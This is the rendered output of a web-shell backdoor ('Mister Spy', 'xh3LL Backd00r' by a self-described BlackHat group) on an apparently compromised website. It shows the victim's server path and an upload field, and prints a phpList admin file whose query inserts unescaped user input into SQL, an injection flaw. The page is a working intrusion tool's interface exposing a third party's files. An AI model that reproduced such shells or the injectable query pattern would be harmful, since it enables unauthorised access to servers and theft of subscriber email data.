Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/actions/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/actions/searchemail.php

<?php

//[ { "id": "Alcedo atthis", "label": "Common Kingfisher", "value": "Common Kingfisher" }, { "id": "Haliaeetus leucoryphus", "label": "Pallas’s Fish Eagle", "value": "Pallas’s Fish Eagle" }, { "id": "Ceryle alcyon", "label": "Belted Kingfisher", "value": "Belted Kingfisher" } ]

exit; ## unfinished code

$req = Sql_Query(sprintf('select id,email as label, email as value from %s where email like "%s%%" limit 10',$tables['user'],$_GET['term']));
$results = array();
while ($row = Sql_Fetch_Assoc($req)) {
  $results[] = $row;
}
#var_dump($results);

## hmm, doesn't work
#print json_encode($results);

$out = '[ ';
foreach ($results as $match) {
  $out .= '{ "id": "'.$match['id'].'", "label:"'.$match['label'].'", "value": "'.$match['value']. '" },';
}
$out = substr($out,0,-1);
print $out.']';
exit;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat